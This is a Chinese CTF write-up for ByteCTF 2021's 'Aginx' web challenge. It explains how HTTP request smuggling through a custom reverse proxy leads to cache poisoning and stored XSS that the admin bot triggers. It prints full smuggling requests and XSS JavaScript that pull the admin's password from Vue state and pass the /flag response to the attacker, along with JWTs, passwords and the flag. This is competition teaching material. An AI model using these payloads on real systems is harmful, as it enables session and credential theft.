CTF 安全

字节跳动ByteCTF2021 Aginx 题解

题目信息

题目附件1 题目附件2

A platform can show your essays to express your love for A-SOUL!!!

https://39.105.189.132:30443 bot nc 39.105.189.132 30000

https://39.105.56.120:30443 bot nc 39.105.56.120 30000

https://39.105.13.40:30443 bot nc 39.105.13.40 30000

https://39.105.153.197:30443 bot nc 39.105.153.197 30000

Note: Please don't use scanner

Hint1: Environment: https://bytectf.feishu.cn/file/boxcnEgg8wORkydhrVdSHnpZdDb 请不要扫描目录,flag需要管理员访问/flag获取

Hint2: init.sql: https://bytectf.feishu.cn/file/boxcnXZaup2iOONRCW1rQ1zCSLc ; And notice the difference of each response

初步分析

a-ginxbackend 两个文件进行逆向分析。

起初将重点放在功能实现的 backend 上,并没有找到可利用的漏洞。

后来重点放在前端实现,在 index.html 里看到一行文字。

We're sorry but jiaran.icu doesn't work properly without JavaScript enabled. Please enable it to continue.

然后在网上找到了代码出处 Fungx/Asoul-ICU

对照题目代码,看到有这么一行。

<div ref="htmlContent" v-html="article.htmlContent"></div>

如果不是考察 Vue 框架本身的漏洞,那么这题的重点应该就是这里。

此处应该有机会进行 XSS攻击

翻了翻机器人 main.py 的代码,能够执行 JS代码 的地方只有这里。

client.execute_script("location.href='/#/articles/' + atob(`{}`)".format(b64encode(uuid.encode('utf8')).decode('utf8')))

只能控制 location.href,那么想到跨目录请求。

试了一下。

location.href='/#/articles/abc' => https://aginx/v/articles/abc
location.href='/#/articles/..%2..%2Fabc' => https://aginx/abc

可以访问 aginx 里的服务。

好吧,重点要放在 a-ginx 上面了。

一般情况下,除了我们能看到的 public 文件夹下面的静态文件,a-ginx 直接将请求转发至 backend 处理。

那么有可能会是 addArticle 的时候对 content 过滤不严谨,插入数据库里再读出时导致 XSS 的发生。

但是看了一下 backend 的处理手法,用到了第三方库 microcosm-cc/bluemonday

其中调用了 UGCPolicy().Sanitize() 处理 content 生成 htmlContent,调用了 NewPolicy().Sanitize() 处理 content 生成 plainContent

看了一下 bluemonday 的源代码,除非存在过滤不严谨的情况,否则考点应该不是这里。

那么有可能会是 backend 上不同的路由返回同样格式的结果,导致在请求 /v/articles/:ID 路由的返回内容出现“张冠李戴”的情况。

经过分析,在其它路由上并没有发现返回与该路由相同格式的结果。

恭喜本题完结撒花,顺利拉闸!

深入分析

既然不是 backend 的问题,那有没有可能是 a-ginx 返回了“错误”的结果呢?

结合本地调试和逆向分析,发现静态文件请求的响应头带上了 Cache-Key,而反向代理请求的响应头在 a-ginx 处也被加上了 Trace-Id

好家伙,整了好一个 Web前端服务缓存追踪,该有都有!

那么这时我就好奇,这个 缓存 的缓存文件在本地并没有看到,它理应存放在 /app/cache 里。

经过测试,原来在 a-ginx 端的静态文件并不会进行缓存,的确没必要缓存了,但是照样返回了 Cache-Key。(迫真

然后发现在请求 /static/ 的时候,假如在 a-ginx 端找不到对应的静态文件,会将请求转发至 backend 处理。若请求的响应状态码为 200,响应正文才会被 a-ginx 缓存下来。

到这里,我们会想到如何 污染缓存 来满足 XSS 的出现条件。

a-ginx 端进行 任意文件写入,进而写入恶意缓存?

考点应该不是这个,毕竟 flag 存放在 backend 端。而 backend 端是存放 flag 的地方,相对更加“安全”,也很难干预其返回内容。

深入分析 a-ginx 的反向代理原理,发现其直接发起 tcp 请求至 backend 端,再提取用户端请求的内容,进行简单的字符串拼接实现了转发请求的功能。

此处就出现了一个曾经出现过的 Web安全漏洞 了。

漏洞点解析

直接搬出最终 payload 来进一步讲解。

当用户发起以下请求至 a-ginx 时,

GET /static/v4WPbblaISwL%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 921

title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D

a-ginx 会将 METHODURL 两部分提取出来,然后检查 PROTOCOL 是否为 HTTP/2

URL 会进行 URL解码Header 部分会增加一个名为 X-Sup3r-Re4l-Ip 的属性,属性值为用户的来路IP带上端口。

然后进行拼接,大致得到如下。

GET /static/v4WPbblaISwL HTTP/1.1
Connection: keep-alive
Host: a

POST /v/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 921

title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D

相当于在一个 tcp 上,发起两个 http 请求至 backend 端。

这里应该使用 Connection: keep-alive 请求头告知 backend 端保持 tcp 连接而不是立即断开,以免影响后续 http 请求的返回。

若请求的响应状态码为 200,响应正文才会被 a-ginx 缓存下来。

由于请求 /v/articles/preview 始终返回的响应状态码为 200,所以响应正文会被缓存下来。

经过测试发现,a-ginx 有时接收到的为第一个 http 请求的响应,有时接收到的为第二个 http 请求的响应。

因此只需要多请求几次,让它将从 backend 端接收到的响应正文缓存下来,再次访问该 URL 就会返回固定结果了。

/v/articles/preview 是文章预览功能,其返回内容取决于模板文件 preview.tmpl

{{.title}}<br/>{{.content}}

{{.title}}{{.content}} 我们都能够随意控制。

/v/articles/:ID 返回的格式大概如下:

{"data":{"_id":"1","title":"2","author":"3","htmlContent":"6","submissionTime":4,"tags":"5"},"status":0}

基本上,我们有能力构造出上面的格式。只需要将 <br/> 当作无关字符即可。

到这里,我们基本可以进行 XSS攻击 了。

构建攻击思路

由于前端使用 Vue,开发过 Vue 的同学应该清楚,通过 v-html 插入的 <script> 标签是无法运行的,这是由于 Vue 在渲染完成后会对 <script> 标签进行屏蔽。

如果想在 Vue 上运行 热加载代码,有两种方法。

一是提前预留 eval 函数或者其它热更新代码块。 二是采用其它运行脚本代码的途径。 这里直接用比较常见的 <img onerror=

/flag 路由主要有两个校验。

一是判断 X-Sup3r-Re4l-Ip 是否位于 172.16.0.0/12。由于 backend 端用户无法直接访问,这个校验就无法绕过了。 二是判断 Authorization 的登录用户是否为 admin。这里采用了 JWT,签名密钥直接由 rand.Read (即 /dev/urandom)生成。无法绕过。

我们需要让管理员访问 /flag,然后返回结果给我们。

由于该网站用户登录账号后,其登录凭据 Authorization 会存储在 Vue变量 中以供后续发起请求时进行身份验证。我们需要提取其 Authorization,然后通过 XMLHTTP 即可伪造请求。

这里我并没有找到 Authorization 的存放位置,反而轻易地找到了登录密码的存放位置。

通常来说,在表单提交后,在下次再次使用该表单之前,开发者并不会对表单数据进行清除,所以一些敏感信息仍然会存放在 Vue变量 中。

构造核心攻击载荷

1、让管理员发起以下请求,然后在自己账号中就能看到一篇名为 here_is_pwd 的文章,里面就有管理员的密码。

var xhttp1 = new XMLHttpRequest();
xhttp1.open("POST", "/v/articles", true);
xhttp1.setRequestHeader("Content-Type","application/json");
xhttp1.setRequestHeader("Authorization",自己账号的Authorization);
xhttp1.send(JSON.stringify({"title":"here_is_pwd","content":document.getElementById("app").__vue__.$children[2]._data.form.password,"tags":[],"is_public":false}));

然后登录管理员账号,就能提取管理员账号的 Authorization

2、让管理员发起以下请求,然后在自己账号中就能看到一篇名为 here_is_flag 的文章,里面就有 flag

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        var xhttp1 = new XMLHttpRequest();
        xhttp1.open("POST", "/v/articles", true);
        xhttp1.setRequestHeader("Content-Type","application/json");
        xhttp1.setRequestHeader("Authorization",自己账号的Authorization);
        xhttp1.send(JSON.stringify({"title":"here_is_flag","content":xhttp.responseText,"tags":[],"is_public":false}));
    }
};
xhttp.open("GET","/flag",true);
xhttp.setRequestHeader("Authorization",管理员账号的Authorization);
xhttp.send();

完整攻击流程

首先注册一个账号,密码使用随机密码,防止其他选手上车。

账号:nVmSStPzISQ9
密码:7Tq2sPxMBqRF

然后提取自己账号的 Authorization

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw

不断发起以下请求,直至响应状态码返回 200。其中 v4WPbblaISwL 为随机值。

GET /static/v4WPbblaISwL%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 921

title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D

然后告诉机器人需要访问的 article id 为:

..%2F..%2Fstatic%2Fv4WPbblaISwL%2520HTTP%252F1.1%250D%250AConnection:%2520keep-alive%250D%250AHost:%2520a%250D%250A%250D%250APOST%2520%252Fv%252Farticles%252Fpreview

稍等片刻,在自己账号中就能看到一篇名为 here_is_pwd 的文章,里面就有管理员的密码。

管理员密码:The_Passw0rd_y0u_w1lI_n3ver_kn0w!!!_9f3253946623

登录管理员账号 admin,提取到管理员账号的 Authorization

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgzODIsInVzZXJuYW1lIjoiYWRtaW4ifQ.DeRjnC-Ldy7eoH5Y2rmL11YHDeCrz8pjC9LbUaZs8FY

不断发起以下请求,直至响应状态码返回 200。其中 rbGK4LT0BNUq 为随机值。

GET /static/rbGK4LT0BNUq%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 1316

title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp%20%3D%20new%20XMLHttpRequest()%3Bxhttp.onreadystatechange%20%3D%20function()%20%7Bif%20(this.readyState%20%3D%3D%204%20%26%26%20this.status%20%3D%3D%20200)%20%7Bvar%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_flag%5C%22%2C%5C%22content%5C%22%3Axhttp.responseText%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B%7D%7D%3Bxhttp.open(%5C%22GET%5C%22%2C%5C%22%2Fflag%5C%22%2Ctrue)%3Bxhttp.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgzODIsInVzZXJuYW1lIjoiYWRtaW4ifQ.DeRjnC-Ldy7eoH5Y2rmL11YHDeCrz8pjC9LbUaZs8FY%5C%22)%3Bxhttp.send()%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D

然后告诉机器人需要访问的 article id 为:

..%2F..%2Fstatic%2FrbGK4LT0BNUq%2520HTTP%252F1.1%250D%250AConnection:%2520keep-alive%250D%250AHost:%2520a%250D%250A%250D%250APOST%2520%252Fv%252Farticles%252Fpreview

稍等片刻,在自己账号中就能看到一篇名为 here_is_flag 的文章,里面就有 flag

Get Flag

ByteCTF{W4tch_D1anA_4_6ay_K33p_HungEr_AvAy}

结语

一次 WebReverse 的碰撞交融!

总体来说,本题的漏洞点是个不错的搭配。

把新型且实际的漏洞点结合到简单的题目条件里,体现了出题人不一样的思路。


标签: CTF 安全

Comments